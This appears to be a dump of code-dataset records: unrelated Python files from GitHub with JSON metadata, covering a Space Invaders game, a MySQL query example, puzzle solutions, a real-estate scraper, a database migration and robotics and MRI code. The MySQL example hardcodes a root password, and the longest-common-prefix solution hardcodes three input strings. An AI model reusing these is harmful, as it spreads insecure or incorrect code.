Attribute _pewSound: initializes sound for a bolt fired from a player\n # Invariant: _pewSound is a Sound object\n #\n # Attribute _pewSound2: initializes sound for a bolt fired from an alien\n # Invariant: _pewSound2 is a Sound object\n #\n # Attribute _blastSound: initializes sound for a bolt collided with a ship\n # Invariant: _blastSound is a Sound object\n #\n # Attribute _popSound: initializes sound for a bolt collided with an alien\n # Invariant: _popSound is a Sound object\n # DO NOT MAKE A NEW INITIALIZER!\n #\n # Attribute _KEYS_PRESSED: amount of times a certain key is pressed\n # Invariant: _KEYS_PRESSED is an int greater or equal to 0\n\n # DO NOT MAKE A NEW INITIALIZER!\n \n # THREE MAIN GAMEAPP METHODS\n def start(self):\n \"\"\"\n Initializes the application.\n \n This method is distinct from the built-in initializer __init__ (which \n you should not override or change). This method is called once the \n game is running. You should use it to initialize any game specific \n attributes.\n \n This method should make sure that all of the attributes satisfy the \n given invariants. When done, it sets the _state to STATE_INACTIVE and \n create a message (in attribute _text) saying that the user should press\n to play a game.\n \"\"\"\n self._state = STATE_INACTIVE\n self._wave = None\n self._pewSound = Sound('pew1.wav')\n self._pewSound2 = Sound('pew2.wav')\n self._blastSound = Sound('blast1.wav')\n self._popSound = Sound('pop2.wav')\n self._list = []\n self._text = []\n self._background = GRectangle(x=GAME_WIDTH/2,y=GAME_HEIGHT/2,\n fillcolor=\"black\",\n width=GAME_WIDTH,height=GAME_HEIGHT)\n self.makeLabel(\"SPACE INVADERS\", 60, top=GAME_HEIGHT - 50,\n left=GAME_WIDTH /12)\n self.makeLabel(\"Welcome to \\n\\n\\n\\n\\n\\n\\n\"\n \"Press 'S' to Play \\n Controls: \\n\"\n + \"Right Arrow Key - Move right \\n\" +\n \" Left Arrow Key - Move left \\n\" +\n \" Spacebar - Shoot \\n\" +\n \" P - Sound off \\n\" + \"O - Sound on \\n\" +\n \" Q - Pause Game\", 24, GAME_WIDTH / 5,\n GAME_HEIGHT - 25)\n\n def update(self,dt):\n \"\"\"\n Animates a single frame in the game.\n \n It is the method that does most of the work. It is NOT in charge of \n playing the game. That is the purpose of the class Wave. The primary \n purpose of this game is to determine the current state, and -- if the \n game is active -- pass the input to the Wave object _wave to play the \n game.\n \n As part of the assignment, you are allowed to add your own states. \n However, at a minimum you must support the following states: \n STATE_INACTIVE, STATE_NEWWAVE, STATE_ACTIVE, STATE_PAUSED, \n STATE_CONTINUE, and STATE_COMPLETE. Each one of these does its own \n thing and might even needs its own helper. We describe these below.\n \n STATE_INACTIVE: This is the state when the application first opens. \n It is a paused state, waiting for the player to start the game. It \n displays a simple message on the screen. The application remains in \n this state so long as the player never presses a key. In addition, \n this is the state the application returns to when the game is over \n (all lives are lost or all aliens are dead).\n \n STATE_NEWWAVE: This is the state creates a new wave and shows it on \n the screen. The application switches to this state if the state was \n STATE_INACTIVE in the previous frame, and the player pressed a key. \n This state only lasts one animation frame before switching to \n STATE_ACTIVE.\n \n STATE_ACTIVE: This is a session of normal gameplay. The player can \n move the ship and fire laser bolts. All of this should be handled \n inside of class Wave (NOT in this class). Hence the Wave class \n should have an update() method, just like the subcontroller example \n in lecture.\n \n STATE_PAUSED: Like STATE_INACTIVE, this is a paused state. However, \n the game is still visible on the screen.\n \n STATE_CONTINUE: This state restores the ship after it was destroyed. \n The application switches to this state if the state was STATE_PAUSED \n in the previous frame, and the player pressed a key. This state only \n lasts one animation frame before switching to STATE_ACTIVE.\n \n STATE_COMPLETE: The wave is over, and is either won or lost.\n \n You are allowed to add more states if you wish. Should you do so,\n you should describe them here.\n \n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n assert isinstance(dt, int) or isinstance(dt, float), \"dt is of type \"+\\\n str(type(dt)) + \" not int or float\"\n if self._state == STATE_INACTIVE:\n self.inactive()\n if self._state == STATE_NEWWAVE:\n self.newWave()\n if self._state == STATE_ACTIVE:\n self.active(dt)\n if self._state == STATE_PAUSED:\n self.paused()\n if self._state == STATE_COMPLETE:\n self.complete()\n\n def draw(self):\n \"\"\"\n Draws the game objects to the view.\n \n Every single thing you want to draw in this game is a GObject. To \n draw a GObject g, simply use the method g.draw(self.view). It is \n that easy!\n \n Many of the GObjects (such as the ships, aliens, and bolts) are \n attributes in Wave. In order to draw them, you either need to add \n getters for these attributes or you need to add a draw method to \n class Wave. We suggest the latter. See the example subcontroller.py \n from class.\n \"\"\"\n if self._background != None:\n self._background.draw(self.view)\n if self._text != None:\n for text in self._text:\n text.draw(self.view)\n if self._wave != None:\n if self._wave.getGameState() != 3:\n self._wave.draw(self.view)\n\n # HELPER METHODS FOR THE STATES GO HERE\n def makeLabel(self, text, size=48, left=GAME_WIDTH / 6,\n top= GAME_HEIGHT / 2, halign= \"center\",valign=\"middle\"):\n \"\"\"\n Returns: Nothing\n\n This method alters the attribute self._text by adding what the text\n list attribute in GLabel contains.\n It keeps these attributes of GLabel constant:\n - font_size = 48 (by default)\n - halign = \"center\" (by default)\n - valign = \"middle\" (by default)\n - font_name = \"RetroGame.ttf\"\n - left = GAME_WIDTH / 3 (by default)\n - top = GAME_HEIGHT / 2 (by default)\n\n Parameter text: the text to edit\n Precondition: text is a string\n\n Parameter size: text size of the text\n Precondition: size is an int\n\n Parameter left: the left edge of the text\n Precondition: left is a number greater than or equal to 0 but less\n than the GAME_WIDTH\n\n Parameter top: the location of the top edge of the text\n Precondition: top is a number greater than or equal to 0 but less\n than the GAME_HEIGHT\n\n Parameter halign: the horizontal alignment of the text\n Precondition: must be ‘left’, ‘right’, or ‘center’\n\n Parameter valign: the vertical alignment of the text\n Precondition: must be ‘top’, ‘bottom’, or ‘middle’\n \"\"\"\n assert isinstance(text, str), \"text is not a string\"\n assert isinstance(size, int), \"size needs to be an int\"\n assert (isinstance(left, int) or isinstance(left, float),\n \"left needs to be number\")\n assert 0 <= left <= GAME_WIDTH, \"left needs to be in range\"\n assert (isinstance(top, int) or isinstance(top, float),\n \"top needs to be number\")\n assert 0 <= top <= GAME_HEIGHT, \"top is not in range\"\n assert (halign == \"left\" or halign == \"right\" or halign == \"center\",\n \"invalid horizontal alignment input\")\n assert (valign == \"top\" or valign == \"bottom\" or valign == \"middle\",\n \"invalid vertical alignment input\")\n self._text.append(GLabel(text=text,\n font_size=size,\n linecolor=\"green\",\n halign=halign, valign=valign,\n font_name=\"RetroGame.ttf\",\n left=left, top=top))\n\n def soundControl(self):\n \"\"\"\n This methods regulates if the sounds are turned on or off\n \"\"\"\n if(self.input.is_key_down('p')) and self._KEYS_PRESSED == 0:\n self._list.append(True)\n self._KEYS_PRESSED = 1\n self._wave.setSound(False)\n elif (self.input.is_key_down('o')) and self._KEYS_PRESSED == 1:\n self._list.clear()\n self._KEYS_PRESSED = 0\n self._wave.setSound(True)\n\n def inactive(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_INACTIVE. When the 's' key\n is pressed, the text is erased and self._state = STATE_NEWWAVE\n \"\"\"\n self._KEYS_PRESSED = self.input.key_count\n if (self.input.is_key_down('s') and self._KEYS_PRESSED > 0):\n self._state = STATE_NEWWAVE\n self._text.clear()\n self._KEYS_PRESSED = 0\n\n def newWave(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_NEWWAVE. After making a grid\n of aliens, self._state = STATE_ACTIVE\n \"\"\"\n self._wave = Wave(ALIEN_ROWS, ALIENS_IN_ROW,\n GAME_WIDTH / 2, DEFENSE_LINE, SHIP_LIVES)\n self._state = STATE_ACTIVE\n\n def active(self, dt):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_ACTIVE. The main part of the\n game, it keeps a record of the # of lives the player has, whether the\n aliens have reached the dLine, and keeps the aliens and ship moving.\n If self._lives == 0 or the aliens have reached the dLine,\n self._state = STATE_COMPLETE.\n If a life is lost, self._state = STATE_PAUSED\n\n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n if self._wave.getGameState() == 3:\n self._wave.setLives(self._wave.getLives() - 1)\n self._state = STATE_PAUSED\n self._wave.clearBolts()\n elif self._wave.getGameState() == 1 or self._wave.getGameState() == 2:\n self._state = STATE_COMPLETE\n if self._wave.getGameState() == 0:\n self._wave.updateAliens(dt)\n try:\n if self.input.is_key_down('q'):\n self._wave.setGameState(3)\n self._state = STATE_PAUSED\n if self.input.is_key_down('right'):\n self._wave.updateShip(\"right\")\n elif self.input.is_key_down('left'):\n self._wave.updateShip(\"left\")\n self.soundControl()\n if self.input.is_key_down('spacebar'):\n newB = False\n for x in self._wave.getBolts():\n if x.isPlayerBolt():\n newB = True\n if not newB:\n if self._list.count(True) % 2 == 0:\n self._pewSound.play()\n self._wave.addBolt(self._wave.getShip().getX(),\n SHIP_BOTTOM+SHIP_HEIGHT * 0.5, True)\n except AttributeError:\n pass\n\n def paused(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_PAUSED. When the player has\n lost a life, this state will appear until the player presses 's' to\n continue, at which point the self._state = STATE_ACTIVE again\n \"\"\"\n self._KEYS_PRESSED = self.input.key_count\n self.makeLabel(\"Press 'c' to Continue\\n(Lives: \" +\n str(self._wave.getLives()) + \")\", size=32,\n left=3*GAME_WIDTH / 16)\n if (self.input.is_key_down('c') and self._KEYS_PRESSED > 0):\n self._state = STATE_ACTIVE\n self._wave.setGameState(0)\n self._text.clear()\n\n def complete(self):\n \"\"\"\n Returns: Nothing\n\n This method is a helper method for STATE_COMPLETE. When the player has\n lost all their lives, or other game ending-conditions occur (like\n shooting all the aliens), a message will appear saying whether the\n player has won or lost.\n \"\"\"\n for row in range(ALIEN_ROWS):\n for col in range(ALIENS_IN_ROW):\n self._wave.setAlien(row, col, None)\n self._KEYS_PRESSED = self.input.key_count\n if self._wave.getGameState() == 2:\n self.makeLabel(\"You Lost!\\n Press 'esc' to quit \"\n \"\\nor 's' to play again\",\n size=32, left=3*GAME_WIDTH / 14,\n top=4*GAME_HEIGHT/7)\n else:\n self.makeLabel(\"You Won!\\n Press 'esc' to quit \"\n \"\\nor 's' to play again\",size=32,\n left=3*GAME_WIDTH / 14, top=4*GAME_HEIGHT/7)\n if (self.input.is_key_down('escape') and self._KEYS_PRESSED > 0):\n exit()\n if self.input.is_key_down('s'):\n self.start()\n self._text.clear()\n\n","repo_name":"SamRod33/AlienInvaders","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":17292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35482569772","text":"# Select limited rows from MySQL table using fetchmany and fetchone: fetchone example\n# fetchone(): retrieve the next row of a query result set.\n# This method returns a single record or None if no more rows are available.\nimport mysql.connector\nfrom mysql.connector import Error\nfrom mysql.connector import errorcode\nfrom datetime import datetime\n\ntry:\n connection_config_dict = {\n 'user': 'root',\n 'password': 'syntel123$',\n 'host': 'localhost',\n 'database': 'Electronics',\n 'raise_on_warnings': True,\n 'use_pure': False,\n 'autocommit': True,\n 'pool_size': 5\n }\n connection = mysql.connector.connect(**connection_config_dict)\n mySql_select_Query = \"select * from laptop\"\n #Buffered cursor: Helps you buffer the results from the result set\n cursor = connection.cursor(buffered=True)\n cursor.execute(mySql_select_Query)\n record = cursor.fetchone()\n print(record)\nexcept Error as error:\n print(\"Error while connecting to MySQL\", error)\nfinally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n print(\"MySQL connection is closed\")","repo_name":"shirishphatangare/Python-Practice","sub_path":"PythonIntermediate/database_examples/mysql_examples/MySql_9.py","file_name":"MySql_9.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"16114618200","text":"# https://leetcode.com/problems/move-zeroes/description/\nclass Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n pos = 0\n for i in xrange(len(nums)):\n if nums[i]:\n nums[i], nums[pos] = nums[pos], nums[i]\n pos += 1","repo_name":"menquist/Michael_Enquist","sub_path":"Python/Hackerrank/move-zeroes.py","file_name":"move-zeroes.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"38917151103","text":"# Advent of Code Day 8 - Seven Segment Search\n\nimport argparse\n\ndef stringSubtract(string1,string2):\n \"\"\"Function to remove the characters that are in string 2 from string 1 and return the resulting string\"\"\"\n returnString = \"\"\n for char1 in string1:\n match = False\n for char2 in string2:\n if char1 == char2:\n match = True\n if match == False:\n returnString += char1\n return returnString\n\ndef compareStrings(string1,string2):\n \"\"\"Function to compare two strings and return the common characters that appear in both strings\"\"\"\n returnString = \"\"\n for char1 in string1:\n match = False\n for char2 in string2:\n if char1 == char2:\n returnString += char1\n break\n return returnString\n\ndef extractDisplays(displayList,length):\n \"\"\"Function to return the strings from the list provided that match the length provided\"\"\"\n returnList = []\n for display in displayList:\n if len(display) == length:\n returnList.append(display)\n return returnList\n\ndef determineDigitMap(inputList):\n \"\"\"Fuction takes in a list of the ten seven-segment displays and determines which charcters map to wich digits\"\"\"\n sevenCode = extractDisplays(inputList,3)[0]\n oneCode = extractDisplays(inputList,2)[0]\n fourCode = extractDisplays(inputList,4)[0]\n eightCode = extractDisplays(inputList,7)[0]\n fiveSegCodes = extractDisplays(inputList,5)\n sixSegCodes = extractDisplays(inputList,6)\n # Record the segment display as a dictionary which we can populate as we work out each signal wire\n segmentDisplay = {\n \"Top\":\"\",\n \"TopLeft\":\"\",\n \"TopRight\":\"\",\n \"Middle\":\"\",\n \"BottomLeft\":\"\",\n \"BottomRight\":\"\",\n \"Bottom\":\"\"\n }\n # The top value is equal to display for (7) subtract display for (1)\n segmentDisplay[\"Top\"] = stringSubtract(sevenCode,oneCode)\n # The common values between (2), (3) and (5) provide the Top, Middle and Bottom values\n tempString = compareStrings(fiveSegCodes[0],fiveSegCodes[1])\n topMiddleBottom = compareStrings(tempString,fiveSegCodes[2])\n # (4) subtract (1) provides middle and top left values\n middleTopLeft = stringSubtract(fourCode,oneCode)\n # Middle value is commone between (2)&(3)&(5) and (4)-(1)\n segmentDisplay[\"Middle\"] = compareStrings(middleTopLeft,topMiddleBottom)\n # Bottom value is (2)&(3)&(5) - Top - Middle\n tempString = stringSubtract(topMiddleBottom,segmentDisplay[\"Middle\"])\n segmentDisplay[\"Bottom\"] = stringSubtract(tempString,segmentDisplay[\"Top\"])\n # Top Left is (4)-(1) - Middle\n segmentDisplay[\"TopLeft\"] = stringSubtract(middleTopLeft,segmentDisplay[\"Middle\"])\n # Bottom Left is (8) - (7) - Middle - Bottom - TopLeft\n tempString = stringSubtract(eightCode,sevenCode)\n tempString = stringSubtract(tempString,segmentDisplay[\"Middle\"])\n tempString = stringSubtract(tempString,segmentDisplay[\"Bottom\"])\n segmentDisplay[\"BottomLeft\"] = stringSubtract(tempString,segmentDisplay[\"TopLeft\"])\n # Compare (1) with (0), (6) and (9), will return (1) apart from (6) where it returns bottom right only\n for code in sixSegCodes:\n tempString = compareStrings(oneCode,code)\n if len(tempString) == 1:\n segmentDisplay[\"BottomRight\"] = tempString\n # Last value must be top right\n segmentDisplay[\"TopRight\"] = stringSubtract(oneCode,segmentDisplay[\"BottomRight\"])\n zeroCode = stringSubtract(eightCode,segmentDisplay[\"Middle\"])\n sixCode = stringSubtract(eightCode,segmentDisplay[\"TopRight\"])\n nineCode = stringSubtract(eightCode,segmentDisplay[\"BottomLeft\"])\n fiveCode = stringSubtract(sixCode,segmentDisplay[\"BottomLeft\"])\n twoCode = stringSubtract(eightCode,segmentDisplay[\"TopLeft\"])\n threeCode = stringSubtract(twoCode,segmentDisplay[\"BottomLeft\"])\n twoCode = stringSubtract(twoCode,segmentDisplay[\"BottomRight\"])\n digitDict = {\n \"0\":''.join(sorted(zeroCode)),\n \"1\":''.join(sorted(oneCode)),\n \"2\":''.join(sorted(twoCode)),\n \"3\":''.join(sorted(threeCode)),\n \"4\":''.join(sorted(fourCode)),\n \"5\":''.join(sorted(fiveCode)),\n \"6\":''.join(sorted(sixCode)),\n \"7\":''.join(sorted(sevenCode)),\n \"8\":''.join(sorted(eightCode)),\n \"9\":''.join(sorted(nineCode))\n }\n return digitDict\n\n\n\nif __name__ == \"__main__\":\n\n # Handle command line argument for the input filename\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--file\", help=\"Filename for the data input\")\n args = parser.parse_args()\n if args.file:\n filename = args.file\n else:\n filename = \"inputTest.txt\"\n \n # Open the file and process the contents\n displayInputs = []\n with open(filename) as file:\n for line in file:\n displayInputs.append(line.rstrip('\\n'))\n displayInputs[-1] = displayInputs[-1].split('|')\n displayInputs[-1][-1] = displayInputs[-1][-1].split()\n displayInputs[-1][-2] = displayInputs[-1][-2].split()\n \n # set a Tuple to to match for unique number of segments\n # these are the number of segments corresponding to numbers 1 (2 segs), 4 (4 segs), 7 (3 segs) and 8 (7 segs)\n uniqueSegmentDigits = (2,3,4,7)\n\n # Work through the data to count the number of digits that are using a unique number of segments\n countDigits = 0\n for data in displayInputs:\n for digits in data[-1]:\n if len(digits) in uniqueSegmentDigits:\n countDigits += 1\n print(f\"Part 1: Number of digits using a unique set of segments {countDigits}\")\n \n # sort the test items and match each item to find what number it represents\n\n answerList = []\n for input in displayInputs:\n answerNum = ''\n numberMap = determineDigitMap(input[0])\n for number in input[1]:\n sortedNum = ''.join(sorted(number))\n for digit in numberMap:\n if numberMap[digit] == sortedNum:\n answerNum += digit\n answerList.append(answerNum)\n \n intAnswList = [int(x) for x in answerList]\n print(f\"Part 2: Sum of digits is {sum(intAnswList)}\")","repo_name":"lewisir/AdventOfCode-2021","sub_path":"Day8/aoc08.py","file_name":"aoc08.py","file_ext":"py","file_size_in_byte":6219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"8858023089","text":"#!/usr/bin/env python3\n#-*- coding:utf-8 -*-\nimport csv\n\n\ninput_file = './goods_input.csv'\noutput_file = './goods_output.csv'\n\n\n\nwith open(input_file,'r',encoding=\"gbk\") as csv_in_file: #注意如果引入的文件是中文，要把编码改为gbk\n with open(output_file,'w',encoding=\"gbk\") as csv_out_file:\n file_reader = csv.reader(csv_in_file)\n file_writer = csv.writer(csv_out_file)\n header = next(file_reader) #由于上一行已经读完第一行，所以此处读的则是第二行\n print(header)\n\n #将表头写入文件里\n file_writer.writerow(header)\n for row_list in file_reader:\n goods_name = str(row_list[3]).strip()\n goods_prices = int(row_list[15])\n if goods_prices >= 1000: #将大于标签价大于1000的货品写���文件\n file_writer.writerow(row_list)\n\n\n\n","repo_name":"Pikwish/data_analysis","sub_path":"csv&pandas/5.3csv_reader_value_meets_condition.py","file_name":"5.3csv_reader_value_meets_condition.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26261120745","text":"# encoding: utf-8\n\n\"\"\"\n@author: liubo-it\n@software: PyCharm Community Edition\n@file: conf.py\n@time: 2016/8/1 18:22\n@contact: ustb_liubo@qq.com\n@annotation: conf\n\"\"\"\nimport sys\nimport os\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\ntimeout_str = 'timeout'\ntimeout1_str = 'timeout1'\ntimeout2_str = 'timeout2'\nurl_error_str = 'url_error'\nurl_error1_str = 'url_error_1'\nurl_error2_str = 'url_error_2'\nno_newbaike_name = 'no-newbaike_name'\nanalyse_error_str = 'analyse_error'\nanalyse_error1_str = 'analyse_error1'\nanalyse_error2_str = 'analyse_error2'\nno_guess_info = 'no-guess-info'","repo_name":"ustbliubo2014/FaceRecognition","sub_path":"DataProcess/crawler/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"34557067211","text":"\n#####################\n# LOADING MODULES ##\n#####################\nimport time\nimport numpy as np\nimport pybullet as p\nfrom solo_pybullet.controller.parallel_controller.ParallelController import ParallelController\nfrom solo_pybullet.controller.parallel_controller.Parameters import Parameters\nfrom solo_pybullet.simulation.initialization_simulation import configure_simulation\nfrom solo_pybullet.model.robot.BulletWrapper import BulletWrapper\n\n\ndef test():\n ####################\n # INITIALIZATION ##\n ####################\n L = [0.1946, 0.0875, 0.014, 0.03745, 0.16, 0.008, 0.16]\n k = BulletWrapper(L)\n constraints = np.array([0, np.pi, -np.pi, np.pi, -np.pi, 0] * 4)\n duration = 3600 # define the duration of the simulation in seconds\n dt = 0.01 # define the time step in second\n robot_id, rev_joint_idx = configure_simulation(dt, False)\n Parameters.init_params()\n\n ###############\n # MAIN LOOP ##\n ###############\n for i in range(int(duration / dt)):\n # real time simulation\n t0 = time.perf_counter()\n\n # compute desired configuration\n Q, dQ = ParallelController.controller(k, *Parameters.get_params(), constraints)\n \n p.setJointMotorControlArray(robot_id, rev_joint_idx, controlMode=p.POSITION_CONTROL,\n targetPositions=Q, targetVelocities=dQ)\n\n # next step simulation\n p.stepSimulation()\n\n # real time simulation\n t_sleep = dt - (time.perf_counter() - t0)\n if t_sleep > 0:\n time.sleep(t_sleep)\n\n # quit pybullet\n p.disconnect()\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"ConstantRoux/solo-pybullet","sub_path":"solo_pybullet/application/parallel_mode.py","file_name":"parallel_mode.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"44"} +{"seq_id":"25437439879","text":"class Solution:\n def longestCommonPrefix(self, strs: list[str]) -> str:\n if not strs:\n return \"\"\n\n if len(strs) == 1:\n return \"\".join(strs[0])\n\n str_array = []\n sequence = []\n max_len, count, base = 0, 0, 0\n\n for str in strs:\n tmp = list(str)\n str_array.append(tmp)\n max_len = max(max_len, len(tmp))\n\n for i in range(0, max_len):\n first_letter = str_array[base][i]\n\n while count < 3:\n if str_array[count][i] == first_letter:\n count += 1\n else:\n return \"\".join(sequence)\n\n if count == len(str_array):\n count, base = 0, 0\n sequence.append(first_letter)\n else:\n break\n\n return \"\".join(sequence)\n\n\nif __name__ == \"__main__\":\n solution = Solution()\n # strs = [\"flower\", \"flow\", \"flight\"]\n # strs = [\"dog\", \"racecar\", \"car\"]\n strs = [\"\", \"b\"]\n print(solution.longestCommonPrefix(strs))\n","repo_name":"atsushi729/Data-Structure","sub_path":"Python/other/14-Longest-Common-Prefix.py","file_name":"14-Longest-Common-Prefix.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74931051654","text":"import scrapy\nimport urllib.parse\nfrom datetime import datetime\nimport re\n\n\nclass SoldApartmentsScraper(scrapy.Spider):\n name = \"sold\"\n\n def __init__(self, address = 'Prinsessegade', zipcodeFrom = 1050, zipcodeTo = 1472, maxPages=10, *args, **kwargs):\n super(SoldApartmentsScraper, self).__init__(*args, **kwargs)\n # build query params\n self.params = {\n \"street\": address,\n \"zipcodeFrom\": zipcodeFrom,\n \"zipcodeTo\": zipcodeTo,\n \"sort\": \"date-d\",\n \"propertyType\": 3,\n \"searchTab\": 1,\n \"page\": 1\n }\n self.start_urls = [\n f\"https://www.boliga.dk/salg/resultater?{urllib.parse.urlencode(self.params)}\"\n ]\n self.MAX_PAGES = maxPages\n\n def parse(self, response):\n keys = [\n 'type_short',\n 'type',\n 'address',\n 'city',\n 'price',\n 'sales_date',\n 'sales_type',\n 'sqm',\n 'sqm_price',\n 'rooms',\n 'build_year',\n 'price_change',\n 'actual_price',\n ]\n int_keys = { 'price', 'sqm', 'sqm_price' 'rooms', 'build_year', 'price_change' }\n\n for row in response.css('tbody > tr'):\n vals = sum(\n [col.css('span::text, a::text').getall() or ['0%'] for col in row.css('td')],\n []\n )\n \n def fix_val(val, key):\n val = val.strip()\n if key in int_keys:\n # remove all non-digits but preserve the minus sign\n return re.sub(r'[^-\\d]', '', val)\n else:\n return val.replace('.', '')\n \n vals = [fix_val(val, key) for val, key in zip(vals, keys)]\n assert len(keys) == len(vals)\n yield dict(zip(keys, vals))\n\n next_page_anchors = response.css('app-pagination > div > div.nav-right > a.next')\n if not next_page_anchors:\n return\n next_page_anchor = next_page_anchors[0]\n is_disabled = next_page_anchor.css('::attr(class)').get().find('disabled') != -1\n \n if not is_disabled and self.params['page'] < self.MAX_PAGES:\n # construct next url by adding 1 to the page query param\n self.params['page'] += 1\n next_page = f\"https://www.boliga.dk/salg/resultater?{urllib.parse.urlencode(self.params)}\"\n yield scrapy.Request(next_page, callback=self.parse)\n\n ","repo_name":"lucasalexsorensen/apartments","sub_path":"apartments/spiders/sold.py","file_name":"sold.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"27806910331","text":"\"\"\"empty message\n\nRevision ID: 0b418e7332c5\nRevises: 277274f960f6\nCreate Date: 2021-08-08 02:10:07.778443\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '0b418e7332c5'\ndown_revision = '277274f960f6'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('customer',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('customer_id', sa.Integer(), nullable=False),\n sa.Column('event_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['customer_id'], ['user.id'], ),\n sa.ForeignKeyConstraint(['event_id'], ['event.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('event', sa.Column('banner', sa.String(length=20), nullable=False))\n op.add_column('user', sa.Column('first_name', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('last_name', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('contact_number', sa.Integer(), nullable=True))\n op.add_column('user', sa.Column('adderss', sa.String(length=120), nullable=True))\n op.add_column('user', sa.Column('city', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('loc_state', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('zip_code', sa.Integer(), nullable=True))\n op.add_column('user', sa.Column('country', sa.String(length=30), nullable=True))\n op.add_column('user', sa.Column('personal_details_complete', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('tagp1', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('tagp2', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('tagp3', sa.String(length=20), nullable=True))\n op.add_column('user', sa.Column('preferences_complete', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('is_profile_company', sa.Boolean(), nullable=False))\n op.add_column('user', sa.Column('event_details_complete', sa.Boolean(), nullable=False))\n op.create_unique_constraint(None, 'user', ['username'])\n op.drop_column('user', 'profile_type')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('profile_type', mysql.VARCHAR(length=8), nullable=True))\n op.drop_constraint(None, 'user', type_='unique')\n op.drop_column('user', 'event_details_complete')\n op.drop_column('user', 'is_profile_company')\n op.drop_column('user', 'preferences_complete')\n op.drop_column('user', 'tagp3')\n op.drop_column('user', 'tagp2')\n op.drop_column('user', 'tagp1')\n op.drop_column('user', 'personal_details_complete')\n op.drop_column('user', 'country')\n op.drop_column('user', 'zip_code')\n op.drop_column('user', 'loc_state')\n op.drop_column('user', 'city')\n op.drop_column('user', 'adderss')\n op.drop_column('user', 'contact_number')\n op.drop_column('user', 'last_name')\n op.drop_column('user', 'first_name')\n op.drop_column('event', 'banner')\n op.drop_table('customer')\n # ### end Alembic commands ###\n","repo_name":"hamzamir66/listeo2","sub_path":"migrations/versions/0b418e7332c5_.py","file_name":"0b418e7332c5_.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30896073957","text":"from math import pi\n\nimport tensorflow as tf\n\nfrom fastmri_recon.data.utils.fourier import tf_ortho_ifft2d\n\n\n@tf.function\ndef extract_smaps(kspace, low_freq_percentage=8, background_thresh=4e-6):\n \"\"\"Extract raw sensitivity maps for kspaces\n\n This function will first select a low frequency region in all the kspaces,\n then Fourier invert it, and finally perform a normalisation by the root\n sum-of-square.\n kspace has to be of shape: nslices x ncoils x height x width\n\n Arguments:\n kspace (tf.Tensor): the kspace whose sensitivity maps you want extracted.\n low_freq_percentage (int): the low frequency region to consider for\n sensitivity maps extraction, given as a percentage of the width of\n the kspace. In fastMRI, it's 8 for an acceleration factor of 4, and\n 4 for an acceleration factor of 8. Defaults to 8.\n background_thresh (float): unused for now, will later allow to have\n thresholded sensitivity maps.\n\n Returns:\n tf.Tensor: extracted raw sensitivity maps.\n \"\"\"\n n_slices = tf.shape(kspace)[0]\n if n_slices > 0:\n n_low_freq = tf.cast(tf.shape(kspace)[-2:] * low_freq_percentage / 100, tf.int32)\n center_dimension = tf.cast(tf.shape(kspace)[-2:] / 2, tf.int32)\n low_freq_lower_locations = center_dimension - tf.cast(n_low_freq / 2, tf.int32)\n low_freq_upper_locations = center_dimension + tf.cast(n_low_freq / 2, tf.int32)\n ###\n # NOTE: the following stands for in numpy:\n # low_freq_mask = np.zeros_like(kspace)\n # low_freq_mask[\n # ...,\n # low_freq_lower_locations[0]:low_freq_upper_locations[0],\n # low_freq_lower_locations[1]:low_freq_upper_locations[1]\n # ] = 1\n x_range = tf.range(low_freq_lower_locations[0], low_freq_upper_locations[0])\n y_range = tf.range(low_freq_lower_locations[1], low_freq_upper_locations[1])\n X_range, Y_range = 